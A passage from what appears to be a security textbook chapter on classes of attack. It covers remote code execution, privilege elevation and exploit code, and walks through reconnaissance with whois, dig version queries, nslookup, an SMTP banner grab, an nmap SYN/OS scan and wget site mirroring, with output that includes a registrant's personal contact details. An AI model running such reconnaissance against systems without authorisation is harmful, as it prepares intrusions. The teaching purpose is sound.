because it often does not require authentication and therefore may be exploited by anybody. Returning to the military scenario, suppose the enemy General¡¦s reconnaissance troops are able to slip past the other side¡¦s guards.They can then sit and map the others¡¦ position, and return to the General with camp coordinates, as well as the coordinates of things within the opposing side¡¦s camp. www.syngress.com Classes of Attack ¡E Chapter 3 73 The General can then pass this information to his Fire Support Officer (FSO), and the FSO can launch several artillery strikes to ¡§soften them up.¡¨ But suppose for a moment that the opposing side knows about the technology behind the artillery pieces the General¡¦s army is using. And suppose that they have the capability to remotely take control of the coordinates input into the General¡¦s artillery pieces¡Xthey would be able to turn the pieces on the General¡¦s own army. This type of control is exactly the type of control an attacker can gain by executing arbitrary code remotely. If the attacker can execute arbitrary code through a service on the system, the attacker can use the service against the system, with power similar to that of using an army¡¦s own artillery against them. Several methods allow the execution of arbitrary code.Two of the most common methods used are buffer overflows and format string attacks. NOTE For additional buffer overflow information, study Aleph1¡¦s ¡§Smashing The Stack For Fun And Profit,¡¨ Phrack issue 49, article 14 available at www.phrack.com/show.php?p=49&a=14. For information within this book, turn to Chapter 8. For information on format string vulnerabilities, Chapter 9 includes a detailed discussion of format string vulnerabilities. Additionally, study Team Teso¡¦s whitepaper at www.team-teso.net/articles/formatstring/ index.html. The Attack Remote code execution is always performed by an automated tool.Attempting to manually remotely execute code would be at the very best near impossible. These attacks are typically written into an automated script. Remote arbitrary code execution is most often aimed at giving a remote user administrative access on a vulnerable system.The attack is usually prefaced by an information gathering attack, in which the attacker uses some means such as an automated scanning tool to identify the vulnerable version of software. Once identified, the attacker executes the script against the program with hopes of gaining local administrative access on the host. www.syngress.com 74 Chapter 3 ¡E Classes of Attack Once the attacker has gained local administrative access on the system, the attacker initiates the process discussed in the ¡§Misinformation¡¨ section.The attacker will do his best to hide his presence inside the system. Following that, he may use the compromised host to launch remote arbitrary code execution attacks against other hosts. Although remote execution of arbitrary code can allow an attacker to execute commands on a system, it is subject to some limitations. Code Execution Limitations Remote arbitrary code execution is bound by limitations such as ownership and group membership.These limitations are the same as imposed on all processes and all users On UNIX systems, processes run on ports below 1024 are theoretically rootowned processes. However, some software packages, such as the Apache Web Server, are designed to change ownership and group membership, although it must be started by the superuser. An attacker exploiting an Apache HTTP process would gain only the privileges of the HTTP server process.This would allow the attacker to gain local access, although as an unprivileged user. Further elevation of privileges would require exploiting another vulnerability on the local system.This limitation makes exploiting nonprivileged processes tricky, as it can lead to being caught when system access is gained. The changing of a process from execution as one user of higher privilege to a user of lower privilege is called dropping privileges. Apache can also be placed in a false root directory that isolates the process, known as change root, or chroot. A default installation of Apache will drop privileges after being started. A separate infrastructure has been designed for chroot, including a program that can wrap most services and lock them into what is called a chroot jail.The jail is designed to restrict a user to a certain directory.The chroot program will allow access only to programs and libraries from within that directory.This limitation can also present a trap to an attacker not bright enough to escape the jail. If the attacker finds himself with access to the system and bound by these limitations, the attacker will likely attempt to gain elevated privileges on the system. Elevation of Privileges Of all attacks launched, elevation of privileges is certainly the most common.An elevation of privileges occurs when a user gains access to resources that were not authorized previously.These resources may be anything from remote access to a www.syngress.com Classes of Attack ¡E Chapter 3 75 system to administrative access on a host. Privilege elevation comes in various forms. Remote Privilege Elevation Remote privilege elevation can be classified to fall under one of two categories. The first category is remote unprivileged access, allowing a remote user unauthorized access to a system as a regular user.The second type of remote privilege elevation is instantaneous administrative access. A number of different vectors can allow a user to gain remote access to a system.These include topics we have previously discussed, such as the filtering of special characters by Web interfaces, code execution through methods such as buffer overflows or format string bugs, or through data obtained from information leakage. All of these problems pose serious threats, with the end result being potential disaster. Remote Unprivileged User Access Remote privilege elevation to an unprivileged user is normally gained through attacking a system and exploiting an unprivileged process.This is defined as an elevation of privileges mainly because the attacker previously did not have access to the local system, but does now. Some folks may scoff at this idea, as I once did. David Ahmad, the moderator of Bugtraq, changed my mind. One night over coffee, he and I got on the topic of gaining access to a system.With my history of implementing secure systems, I was entirely convinced that I could produce systems that were near unbreakable, even if an attacker were to gain local access. I thought that measures such as non-executable stacks, restricted shells, chrooted environments, and minimal setuid programs could keep an attacker from gaining administrative access for almost an eternity. Later on that evening, Dave was kind enough to show me that I was terribly, terribly wrong. Attackers can gain local, unprivileged access to a system through a number of ways. One way is to exploit an unprivileged service, such as the HTTP daemon, a chrooted process, or another service that runs as a standard user. Aside from remotely executing code to spawn a shell through one of these services, attackers can potentially gain access through other vectors. Passwords gained through ASP source could lead to an attacker gaining unprivileged access under some circumstances. A notorious problem is, as we discussed previously, the lack of specialcharacter filtering by Web interfaces. If an attacker can pass special characters through a Web interface, the attacker may be able to bind a shell to a port on the www.syngress.com 76 Chapter 3 ¡E Classes of Attack system. Doing so will not gain the attacker administrative privileges, but it will gain the attacker access to the system with the privileges of the HTTP process. Once inside, to quote David Ahmad,¡§it¡¦s only a matter of time.¡¨ Remote Privileged User Access Remote privileged user access is the more serious of the two problems. If a remote user can obtain access to a system as a privileged user, the integrity of the system is destined to collapse. Remote privileged user access can be defined as an attacker gaining access to a system with the privileges of a system account.These accounts include uucp, root, bin, and sys on UNIX systems, and Administrator or LocalSystem on Windows 2000 systems. The methods of gaining remote privileged user access are essentially the same as those used to gain unprivileged user attacks. A few key differences separate the two, however. One difference is in the service exploited.To gain remote access as a privileged user, an attacker must exploit a service that runs as a privileged user. The majority of UNIX services still run as privileged users. Some of these, such as telnet and SSH, have recently been the topic of serious vulnerabilities. The SSH bug is particularly serious.The bug, originally discovered by Michal Zalewski, was originally announced in February of 2001. Forgoing the deeply technical details of the attack, the vulnerability allowed a remote user to initiate a malicious cryptographic session with the daemon. Once the session was initiated, the attacker could exploit a flaw in the protocol to execute arbitrary code, which would run with administrative privileges, and bind a shell to a port with the effective userid of 0. Likewise, the recent vulnerability in Windows 2000 IIS made possible a number of attacks on Windows NT systems. IIS 5.0 executes with privileges equal to that of the Administrator.The problem was a buffer overflow in the ISAPI indexing infrastructure of IIS 5.0.This problem made possible numerous intrusions, and the Code Red worm and variants. Remote privileged user access is also the goal of many Trojans and backdoor programs. Programs such as SubSeven, Back Orifice, and the many variants produced can be used to allow an attacker remote administrative privileges on an infected system.The programs usually involve social engineering, broadly defined as using misinformation or persuasion to encourage a user to execute the program. Though the execution of these programs do not give an attacker elevated privileges, the use of social engineering by an attacker to encourage a privileged user to execute the program can allow privileged access. Upon execution, the attacker needs simply to use the method of communication with the malicious www.syngress.com Classes of Attack ¡E Chapter 3 77 program to watch the infected system, perform operations from the system, and even control the users ability to operate on the system. Other attacks may gain a user access other than administrative, but privileged nonetheless. An attacker gaining this type of access is afforded luxuries over the standard user, because this allows the attacker access to some system binaries, as well as some sensitive system facilities. A user exploiting a service to gain access as a system account other than administrator or root will likely later gain administrative privileges. These same concepts may also be applied to gaining local privilege elevation. Through social engineering or execution of malicious code, a user with local unprivileged access to a system may be able to gain elevated privileges on the local host. Identifying Methods of Testing for Vulnerabilities Testing a system for vulnerabilities is the best way to ensure that the system is, or is not, vulnerable to a particular problem.Vulnerability testing is a necessary and mandatory task for anybody involved with the administration or security of information systems.You can only ensure system security by attempting to break into your own systems. Up to this point, we have discussed the different types of vulnerabilities that may be used to exploit a system. In this section, we discuss the methods of finding and proving that vulnerabilities exist, including exploit code.We also discuss some of the methods used in gathering information prior to launching an attack on a system, such as the use of Nmap. Proof of Concept One standard method used among the security community is what is termed proof of concept. Proof of concept can be roughly defined as an openly discussed and reliable method of testing a system for a vulnerability. It is usually supplied by either a vendor, or a security researcher in a full disclosure forum. Proof of concept is used to demonstrate that a vulnerability exists. It is not a exploit per se, but more of a demonstration of the problem through either some small segment of code that does not exploit the system for the attacker¡¦s gain, or a technical description that shows a user how to reproduce the problem.This proof of concept can be used by a member of the community to identify the www.syngress.com 78 Chapter 3 ¡E Classes of Attack source of the problem, recommend a workaround, and in some cases recommend a fix prior to the release of a vendor-released patch. It can also be used to identify vulnerable systems. Proof of concept is used as a tool to notify the security community of the problem, while giving a limited amount of details.The goal of this approach is simply to produce a time buffer between the time when the vulnerability is announced, to the time when malicious users begin producing code to take advantage of this vulnerability and go into a frenzy of attacks.The time buffer is created for the benefit of the vendor to give them time to produce a patch for the problem and release it. Exploit Code Another method used in the community is exploit code. Exploit code can be roughly defined as a program that is designed to take advantage of a problem in some piece of software and to execute a set of commands of the attacker¡¦s choosing to take advantage of the software. Exploit code will allow a user to take advantage of a problem for personal gain. Exploit code is also a type of proof of concept. It is designed to show more detail of how the vulnerability can be attacked and exploited and to prove further that the vulnerability is not theoretical. Exploit code can be written in one of any number of languages, including C, Perl, and Assembly. Exploit code is a double-edged sword. It provides the community with a working program to demonstrate the vulnerability, take advantage of the vulnerability, and produce some gain to the user executing the program. It also makes the attack of systems by malicious users possible. Exploit code is in general a good thing, because it offers clarity in exploitation of the vulnerability, and provides motivation to vendors to produce a patch. Often, a vendor will happily take its sweet time to produce a patch for the problem, allowing attackers who may know of the problem, and have their own working exploit for the problem, to take advantage of it and break into systems. Producing a working exploit and releasing it to the community is a method of lighting a fire of motivation under the rear-ends of vendors, making them the responsible party for producing results after the vulnerability has been announced. The system is, as mentioned, a double-edged sword. Releasing a working exploit means releasing a working program that takes advantage of a problem to allow the user of the program personal gain. Most forums that communicate technical details in the vulnerability of software and share working exploits in www.syngress.com Classes of Attack ¡E Chapter 3 79 programs are monitored by many members, all with their own motivations.The release of such a program can allow members with less scruples than others to take advantage of the freely available working exploits, and use them for personal and malicious gain. Automated Security Tools Automated security tools are software packages designed by vendors to allow automated security testing.These tools are typically designed to use a nice user interface and generate reports.The report generation feature allows the user of the tool to print out a detailed list of problems with a system and track progress on securing the system. Automated security tools are yet another double-edged sword.They allow legitimate users of the tools to perform audits to secure their networks and track progress of securing systems.They also allow malicious users with the same tool to identify vulnerabilities in hosts and potentially exploit them for personal gain. Automated security tools are beneficial to all.They provide users who may be lacking in some areas of technical knowledge the capability to identify and secure vulnerable hosts.The more useful tools offer regular updates, with plug-ins designed to test for new or recent vulnerabilities. A few different vendors provide these tools. Commercially available are the CyberCop Security Scanner by Network Associates, NetRecon by Symantec, and the Internet Scanner by Internet Security Systems. Freely available is Nessus, from the Nessus Project. For more details, see Chapter 17 of this book. Versioning Versioning is the failsafe method of testing a system for vulnerabilities. It is the least entertaining to perform in comparison to the previously mentioned methods. It does, however, produce reliable results. Versioning consists of identifying the versions, or revisions, of software a system is using.This can be complex, because many software packages include a version, such as Windows 2000 Professional, or Solaris 8, and many packages included with a versioned piece of software also include a version, such as wget version 1.7.This can prove to be added complexity, and often a nightmare in products such as a Linux distribution, which is a cobbled-together collection of software packages, all with their own versions. Versioning is performed by monitoring a vendor list.The concept is actually quite simple¡Xit entails checking software packages against versions announced to www.syngress.com 80 Chapter 3 ¡E Classes of Attack have security vulnerabilities.This can be done through a variety of methods. One method is to actually perform the version command on a software package, such as the uname command, shown in Figure 3.7. Another method is using a package tool or patch management tool supplied by a vendor to check your system for the latest revision (see Figure 3.8). Versioning can be simplified in a number of ways. One is to produce a database containing the versions of software used on any one host. Additionally, creating a patch database detailing which fixes have been applied to a system can ease frustration, misallocation of resources, and potential vulnerability. Standard Research Techniques It has been said that 97 percent of all attackers are script kiddiots.The group to worry about is the other three percent.This group is exactly who you want to emulate in your thinking. Lance Spitzner, one of the most well rounded security www.syngress.com Figure 3.7 uname ¡Va Gives Kernel Revision on a Linux Machine Classes of Attack ¡E Chapter 3 81 engineers (and best all-around guys) in the security community wrote some documents sometime ago that summed it up perfectly. Borrowing a maxim written by Sun Tzu in The Art of War, Spitzner¡¦s papers were titled ¡§Know Your Enemy.¡¨ They are available through the Honeynet Project at http://project.honeynet.org. We should first define an intelligent attack. An attack is an act of aggression. Intelligence insinuates that cognitive skills are involved. Launching an intelligent attack means first gathering intelligence.This can be done through information leakage or through a variety of other resource available on the Internet. Let¡¦s look at some methods used via a Whois database, the Domain Name System (DNS), Nmap, and Web indexing. Whois The Whois database is a freely available compilation of information designed to maintain contact information for network resources. Several Whois databases are www.syngress.com Figure 3.8 showrev ¡Vp on a Sun Solaris System 82 Chapter 3 ¡E Classes of Attack available, including the dot-com Whois database, the dot-biz Whois database, and the American Registry of Internet Numbers database, containing name servicebased Whois information, and network-based Whois information. Name Service-Based Whois Name service-based Whois data provides a number of details about a domain. These details include the registrant of the domain, the street address the domain is registered to, and a contact number for the registrant.This data is supplied to facilitate the communication between domain owners in the event of a problem. This is the ideal method of handling problems that arise, although these days the trend seems to be whining to the upstream provider about a problem first (which is extremely bad netiquette). Observe the following information: elliptic@ellipse:~$ whois cipherpunks.com Whois Server Version 1.3 Domain names in the .com, .net, and .org domains can now be registered with many different competing registrars. Go to http://www.internic.net for detailed information. Domain Name: CIPHERPUNKS.COM Registrar: ENOM, INC. Whois Server: whois.enom.com Referral URL: http://www.enom.com Name Server: DNS1.ENOM.COM Name Server: DNS2.ENOM.COM Name Server: DNS3.ENOM.COM Name Server: DNS4.ENOM.COM Updated Date: 05-nov-2001 >>> Last update of whois database: Mon, 10 Dec 2001 05:15:40 EST <<< The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and Registrars. www.syngress.com Classes of Attack ¡E Chapter 3 83 Found InterNIC referral to whois.enom.com. Access to eNom's Whois information is for informational purposes only. eNom makes this information available "as is," and does not guarantee its accuracy. The compilation, repackaging, dissemination or other use of eNom's Whois information in its entirety, or a substantial portion thereof, is expressly prohibited without the prior written consent of eNom, Inc. By accessing and using our Whois information, you agree to these terms. Domain name: cipherpunks.com Registrant: Cipherpunks Elliptic Cipher (elliptic@cipherpunks.com) 678-464-0377 FAX: 770-393-1078 PO Box 211206 Montgomery, AL 36121 US Administrative: Cipherpunks Elliptic Cipher (elliptic@cipherpunks.com) 678-464-0377 FAX: 770-393-1078 PO Box 211206 Montgomery, AL 36121 US www.syngress.com 84 Chapter 3 ¡E Classes of Attack Billing: Cipherpunks Elliptic Cipher (elliptic@cipherpunks.com) 678-464-0377 FAX: 770-393-1078 PO Box 211206 Montgomery, AL 36121 US Technical: Cipherpunks Elliptic Cipher (elliptic@cipherpunks.com) 678-464-0377 FAX: 770-393-1078 PO Box 211206 Montgomery, AL 36121 US DOMAIN CREATED : 2000-11-12 23:57:56 DOMAIN EXPIRES : 2002-11-12 23:57:56 NAMESERVERS: DNS1.ENOM.COM DNS2.ENOM.COM DNS3.ENOM.COM DNS4.ENOM.COM In this example, you can see the contact information for the owner of the Cipherpunks.com domain. Included are the name, contact number, fax number, and street address of the registering party. The Whois database for name service also contains other information, some of which could allow exploitation. One piece of information contained in name www.syngress.com Classes of Attack ¡E Chapter 3 85 service records is the domain name servers.This data can present a user with a method to attack and potentially control a domain. Another piece of information that is regularly abused in domain name records is the e-mail address. In a situation where multiple people are administering a domain, an attacker could use this information to launch a social engineering attack. More often then not though, this information is targeted by spammers. Companies such as Network Solutions even sell this information to ¡§directed marketing¡¨ firms (also know as spam companies) to clutter your mail box with all kinds of rubbish, according to Newsbytes article ¡§ICANN To Gauge Privacy Concerns Over ¡¥Whois¡¦ Database¡¨ available at www.newsbytes.com/ news/01/166711.html. Network Service-Based Whois Network service-based Whois data provides details of network management data. This data can aid network and security personnel with the information necessary to reach a party responsible for a host should a problem ever arise. It provides data such as the contact provider of the network numbers, and in some situations the company leasing the space. Observe the following Whois information: elliptic@ellipse:~$ whois -h whois.arin.net 66.38.151.10 GT Group Telecom Services Corp. (NETBLK-GROUPTELECOM-BLK- 3) GROUPTELECOM-BLK-3 66.38.128.0 - 66.38.255.255 Security Focus (NETBLK-GT-66-38-151-0) GT-66-38-151-0 66.38.151.0 - 66.38.151.63 To single out one record, look it up with "!xxx", where xxx is the handle, shown in parenthesis following the name, which comes first. The ARIN Registration Services Host contains ONLY Internet Network Information: Networks, ASN's, and related POC's. Please use the whois server at rs.internic.net for DOMAIN related Information and whois.nic.mil for NIPRNET Information. As you can see from this information, the address space from 66.38.151.0 through 66.38.151.63 is used by SecurityFocus. Additionally, this address space is owned by GT Group Telecom. www.syngress.com 86 Chapter 3 ¡E Classes of Attack This information can give an attacker boundaries for a potential attack. If the attacker wanted to compromise a host on a network belonging to SecurityFocus, the attacker would need only target the hosts on the network segment supplied by ARIN.The attacker could then use a host on the network to target other hosts on the same network, or even different networks. Domain Name System Domain Name System (DNS) is another service an attacker may abuse to gain intelligence before making an attack on a network. DNS is used by every host on the Internet, and provides a choke point through its design.We do not focus on the problems with the protocol, but more on abusing the service itself. A host of vulnerabilities have been discovered in the most widely deployed name service resolving package on the Internet.The Berkeley Internet Name Domain, or BIND, has in the past had a string of vulnerabilities that could allow an attacker to gain remote administrative access. Also notable is the vulnerability in older versions that allowed attackers to poison the DNS cache, fooling clients into visiting a different site when typing a domain name. Let¡¦s look at the methods of identifying vulnerable implementations of DNS. Digging Dig is freely available¡Xit¡¦s distributed with BIND packages. It is a flexible command- line tool that can be used to gather information from DNS servers. Dig can be used both in command-line and interactive modes.The dig utility is supplied with many free operating systems and can be downloaded as part of the BIND package from the Internet Software Consortium. Dig can be used to resolve the names of hosts into IP addresses, and reverseresolve IP addresses into names.This can be useful, because many exploits do not include the ability to resolve names, and need numeric addresses to function. Dig can also be used to gather version information from name servers. In doing so, an attacker may be able to gather information on a host and potentially launch an attack. By identifying the version of a name server, we may be able to find a name server that can be attacked and exploited to our gain (recall our discussion about versioning). Consider the following example use of dig: elliptic@ellipse:~$ dig @pi.cipherpunks.com TXT CHAOS version.bind ; <<>> DiG 8.2 <<>> @pi.cipherpunks.com TXT CHAOS version.bind www.syngress.com Classes of Attack ¡E Chapter 3 87 ; (1 server found) ;; res options: init recurs defnam dnsrch ;; got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUERY SECTION: ;; version.bind, type = TXT, class = CHAOS ;; ANSWER SECTION: VERSION.BIND. 0S CHAOS TXT "8.2.1" ;; Total query time: 172 msec ;; FROM: ellipse to SERVER: pi.cipherpunks.com 192.168.1.252 ;; WHEN: Mon Dec 10 07:53:27 2001 ;; MSG SIZE sent: 30 rcvd: 60 From this query, we were able to identify the version of BIND running on pi, in the cipherpunks.com domain. As you can see, pi is running a version of BIND that is vulnerable to a number of attacks, one of which is NXT buffer overflow discovered in 1999, and allows an attacker to gain remote access to the vulnerable system with the privileges of BIND (typically run as root). Loosely implemented name services may also yield more information than expected. Utilities such as dig can perform other DNS services, such as a zone transfer.A zone transfer is the function used by DNS to distribute its name service records to other hosts. By manually pulling a zone transfer, an attacker can gain valuable information about systems and addresses managed by a name server. nslookup nslookup, short for Name Service Lookup, is another utility that can be handy. It can yield a variety of information, both good and bad. It is also freely available from the Internet Software Consortium. nslookup works much the same way as dig, and like dig provides both a command line and interactive interface to work from. Upon use, nslookup will seek out information on hosts through DNS and return the information. nslookup can yield information about a domain that may be sensitive as well, albeit public. For example, nslookup can be used to find information about a domain such as the Mail Exchanger, or MX record.This can lead to a number of attacks www.syngress.com 88 Chapter 3 ¡E Classes of Attack against a mail server, including attempting to spam the mail server into a denial of service, attacking the software to attempt to gain access to the server, or using the mail server to spam other hosts if it permits relaying. Observe the following example: elliptic@ellipse:~$ nslookup Default Server: cobalt.speakeasy.org Address: 216.231.41.22 > set type=MX > cipherpunks.com. Server: cobalt.speakeasy.org Address: 216.231.41.22 cipherpunks.com preference = 10, mail exchanger = parabola. cipherpunks.com cipherpunks.com nameserver = DNS1.ENOM.COM cipherpunks.com nameserver = DNS2.ENOM.COM cipherpunks.com nameserver = DNS3.ENOM.COM cipherpunks.com nameserver = DNS4.ENOM.COM cipherpunks.com nameserver = DNS5.ENOM.COM DNS1.ENOM.COM internet address = 66.150.5.62 DNS2.ENOM.COM internet address = 63.251.83.36 DNS3.ENOM.COM internet address = 66.150.5.63 DNS4.ENOM.COM internet address = 208.254.129.2 DNS5.ENOM.COM internet address = 210.146.53.77 Here, you can see the mail exchanger for the cipherpunks.com domain.The host, parabola.cipherpunks.com, can then be tinkered with to gain more information. For example, if the system is using a version of Sendmail that allows you to expand user accounts, you could find out the e-mail addresses of the system administrators. It can also yield what type of mail transport agent software is being used on the system, as in the following example: elliptic@ellipse:~$ telnet modulus.cipherpunks.com 25 Trying 192.168.1.253... Connected to 192.168.1.253. www.syngress.com Classes of Attack ¡E Chapter 3 89 Escape character is '^]'. 220 modulus.cipherpunks.com ESMTP Server (Microsoft Exchange Internet Mail Service 5.5.2448.0) ready As you can see, the mail server happily tells us what kind of software it is (Microsoft Exchange). From that, you can draw conclusions about what type of operating system runs on the host modulus. Nmap An attack to gain access to a host must be launched against a service running on the system.The service must be vulnerable to a problem that will allow the attacker to gain access. It is possible to guess what services the system uses from some methods of intelligence gathering. It is also possible to manually probe ports on a system with utilities such as netcat to see if connectivity can be made to the service. The process of gathering information on the available services on a system is simplified by tools such as the Network Mapper, or Nmap. Nmap, as we previously mentioned, uses numerous advanced features when launched against a system to identify characteristics of a host.These features include things such as variable TCP flag scanning and IP response analysis to guess the operating system and identify listening services on a host. Nmap can be used to identify services on a system that are open to public use. It can also identify services that are listening on a system but are filtered through an infrastructure such as TCP Wrappers, or firewalling. Observe the following output: elliptic@ellipse:~$ nmap -sS -O derivative.cipherpunks.com Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ ) Interesting ports on derivative.cipherpunks.com (192.168.1.237): (The 1533 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 22/tcp open ssh 23/tcp filtered telnet 25/tcp open smtp 37/tcp open time www.syngress.com 90 Chapter 3 ¡E Classes of Attack 53/tcp open domain 80/tcp open http 110/tcp open pop-3 143/tcp open imap2 Remote operating system guess: Solaris 2.6 - 2.7 Uptime 11.096 days (since Thu Nov 29 08:03:12 2001) Nmap run completed -- 1 IP address (1 host up) scanned in 60 seconds Let¡¦s examine this scan a piece at a time. First, we have the execution of Nmap with the sS and O flags.These flags tell Nmap to conduct a SYN scan on the host, and identify the operating system from the IP responses received. Next, we see three columns of data. In the first column from the left to right, we see the port and protocol that the service is listening on. In the second column, we see the state of the state of the port, either being filtered (as is the telnet service, which is TCP Wrapped), or open to public connectivity, like the rest. Web Indexing The next form of intelligence gathering we will mention is Web indexing, or what is commonly called spidering. Since the early 90s, companies such as Yahoo!, WebCrawler, and others have used automated programs to crawl sites, and index the data to make it searchable by visitors to their sites.This was the beginning of the Web Portal business. Site indexing is usually performed by an automated program.These programs exist in many forms, by many different names. Some different variants of these programs are robots, spiders, and crawlers, all of which perform the same function but have distinct and different names for no clear reason.These programs follow links on a given Web site and record data on each page visited.The data is indexed and referenced in a relational database and tied to the search engine. When a user visits the portal, searching for key variables will return a link to the indexed page. However, what happens when sensitive information contained on a Web site is not stored with proper access control? Because data from the site is archived, this could allow an attacker to gain access to sensitive information on a site and gather intelligence by merely using a search engine.As mentioned before, this is not a new www.syngress.com Classes of Attack ¡E Chapter 3 91 problem. From the present date all the way back to the presence of the first search engines, this problem has existed. Unfortunately, it will continue to exist. The problem is not confined to portals.Tools such as wget can be used to recursively extract all pages from a site.The process is as simple as executing the program with the sufficient parameters. Observe the following example: elliptic@ellipse:~$ wget -m -x http://www.mrhal.com --11:27:35-- http://www.mrhal.com:80/ => `www.mrhal.com/index.html' Connecting to www.mrhal.com:80... connected! HTTP request sent, awaiting response... 200 OK Length: 1,246 [text/html] 0K -> . [100%] 11:27:35 (243.36 KB/s) - `www.mrhal.com/index.html' saved [1246/1246] Loading robots.txt; please ignore errors. --11:27:35-- http://www.mrhal.com:80/robots.txt => `www.mrhal.com/robots.txt' Connecting to www.mrhal.com:80... connected! HTTP request sent, awaiting response... 404 Not Found 11:27:35 ERROR 404: Not Found. --11:27:35-- http://www.mrhal.com:80/pics/hal.jpg => `www.mrhal.com/pics/hal.jpg' Connecting to www.mrhal.com:80... connected! HTTP request sent, awaiting response... 200 OK Length: 16,014 [image/jpeg] 0K -> .......... ..... [100%] 11:27:35 (1.91 MB/s) - `www.mrhal.com/pics/hal.jpg' saved [16014/16014] [¡K] FINISHED --11:27:42-- Downloaded: 1,025,502 bytes in 44 files www.syngress.com 92 Chapter 3 ¡E Classes of Attack We have denoted the trimming of output from the wget command with the [¡K] symbol, because there were 44 files downloaded from the Web site www.mrhal.com (reported at the end of the session). Wget was executed with the m and x flags.The m flag, or mirror flag, sets options at the execution of wget to download all of the files contained within the Web site www.mrhal.com by following the links.The x flag is used to preserve the directory structure of the site when it is downloaded. This type of tool can allow an attacker to index or mirror a site. Afterwards, the attacker can make use of standard system utilities to sort through the data rapidly. Programs such as grep will allow the attacker to look for strings that may be of interest, such as ¡§password,¡¨¡§root,¡¨¡§passwd,¡¨ or other such strings. www.syngress.com Classes of Attack ¡E Chapter 3 93 Summary There are seven categories of attack, including denial of service (DoS), information leakage, regular file access, misinformation, special file/database access, remote arbitrary code execution, and elevation of privileges. A denial of service attack occurs when a resource is intentionally blocked or degraded by an attacker. Local denial of service attacks are targeted towards process degradation, disk space consumption, or inode consumption. Network denial of service attacks may be launched as either a server-side or client-side attack (one means of launching a denial of service attack against Web browsers are JavaScript bombs). Service-based network denial of service attacks are targeted at a particular service, such as a web server. System-directed network denial of service attacks have a similar goal to local DoS attacks; to make the system unusable. One way to accomplish a system-directed network DoS attack is to use SYN flooding to fill connection queues. Another is the smurf attack, which can consume all available network bandwidth. Distributed denial of service (DDoS) attacks are also system-directed network attacks; distributed flood programs such as tfn and shaft can be used deny service to networks. Information leakage is an abuse of resources that usually precludes attack.We examined information leakage through secure shell (SSH) banners and found that we can fingerprint services such as a Hypertext Transfer Protocol (HTTP) or File Transfer Protocol (FTP) server using protocol specifications.The Simple Network Management Protocol (SNMP) is an insecurely designed protocol that allows easy access to information;Web servers can also yield information, through dotdot- slash directory traversal attacks.We discussed a hypothetical incident where one Internet service provider (ISP) stole the passwd file of another to steal customers, and we dispelled any myths about information leakage by identifying a system as properly designed when it can cloak, and even disguise, its fingerprint. Regular file access is a means by which an attacker can gain access to sensitive information such as usernames or passwords, as well as the ability to change permissions or ownership on files¡Xpermissions are a commonly overlooked security precaution.We differentiated between single-user systems without file access control and multiuser systems with one or multiple layers of access control; Solaris Access Control Lists (ACL) and Role-Based Access Control (RBAC) are examples of additional layers of permissions.We discussed using symbolic link attacks to overwrite files owned by other users. Misinformation is defined as providing false data that may result in inadequate concern. Standard procedures of sending misinformation include log file www.syngress.com 94 Chapter 3 ¡E Classes of Attack editing, rootkits, and kernel modules. Log file editing is a rudimentary means of covering intrusion; the use of rootkits is a more advanced means by replacing system programs; and kernel modules are an advanced, low-level means of compromising system integrity at the kernel level. Special file/database access is another means to gain access to system resources.We discussed using special files to gain sensitive information such as passwords. Databases are repositories of sensitive information, and may be taken advantage of through intermediary software, such as Web interfaces, or through software problems such as buffer overflows. Diligence is required in managing database permissions. Remote arbitrary code execution is a serious problem that can allow an attacker to gain control of a system, and may be taken advantage of without the need for authentication. Remote code execution is performed by automated tools. Note that it is subject to the limits of the program it is exploiting. Elevation of privileges is when a user gains access to resources not previously authorized.We explored an attacker gaining privileges remotely as an unprivileged user, such as through an HTTP daemon running on a UNIX system, and as a privileged user through a service such as an SSH daemon.We also discussed the use of Trojan programs, and social engineering by an attacker to gain privileged access to a host, and noted that a user on a local system may be able to use these same methods to gain elevated privileges. Vulnerability testing is a necessary and mandatory task for anybody involved with the administration or security of information systems. One method of testing is called proof of concept, which is used to prove the existence of a vulnerability. Other methods include using exploit code to take advantage of the vulnerability, using automated security tools to test for the vulnerability, and using versioning to discover vulnerable versions of software. An intelligent attack uses research methods prior to an attack.Whois databases can be used to gain more information about systems, domains, and networks. Domain Name System (DNS) tools such as dig can be used to gather information about hosts and the software they use, as well as nslookup to identify mail servers in a domain.We briefly examined scanning a host with Nmap to gather information about services available on the host and the operating system of the host. Finally, we discussed the use of spidering a site to gather information, such as site layout, and potentially sensitive information stored on the Web. www.syngress.com Classes of Attack ¡E Chapter 3 95 Solutions Fast Track Identifying and Understanding the Classes of Attack There are seven classes of attacks: denial of service (DoS), information leakage, regular file access, misinformation, special file/database access, remote arbitrary code execution, and elevation of privileges. Denial of service attacks can be leveraged against a host locally or remotely. The gathering of intelligence through information leakage almost always precedes attack. Insecure directory and file permissions can allow local users to gain access to information that may be sensitive to other users or the system. Information on a compromised system can never be trusted and can only again be trusted when the operating system has been restored from a known secure medium (such as the vendor distribution medium). Databases may be attacked either through either interfaces such as the Web or through problems in the actual database software, such as buffer overflows. Many remote arbitrary code execution vulnerabilities may be mitigated through privilege dropping, change rooting, and non-executable stack protection. Privilege elevation can be exploited to gain remote unprivileged user access, remote privileged user access, or local privileged user access. Identifying Methods of Testing for Vulnerabilities Vulnerability testing is a necessary part of ensuring the security of a system. ¡§Proof of concept¡¨ is the best means of communicating any vulnerability, because it helps determine where the problem is, and how to protect against it. Exploit code is one of the most common ¡§proof of concept¡¨ methods. Exploit code can be found in various repositories on the Internet. www.syngress.com 96 Chapter 3 ¡E Classes of Attack The use of automated security tools is common. Most security groups of any corporation perform regularly scheduled vulnerability audits using automated security tools. Versioning can allow a busy security department to assess the impact of a reported vulnerability against currently deployed systems. Information from Whois databases can be used to devise an attack against systems or to get contact information for administrative staff when an attack has occurred. Domain Name System (DNS) information can yield information about network design. Web spidering can be used to gather information about directory structure or sensitive files. Q: Can an attack be a member of more than one attack class? A: Yes. Some attacks may fall into a number of attack classes, such as a denial of service that stems from a service crashing from invalid input. Q: Where can I read more about preventing DDoS attacks? A: Dave Dittrich has numerous papers available on this topics available on his Web site www.washington.edu/People/dad. Q: How can I prevent information leakage? A: A number of papers are available on this topic. Some types of leakage may be prevented by the alteration of things such as banners or default error messages. Other types of leakage, such as protocol-based leakage, will be stopped only by rewrite of the programs and the changing of standards. www.syngress.com Frequently Asked Questions The following Frequently Asked Questions, answered by the authors of this book, are designed to both measure your understanding of the 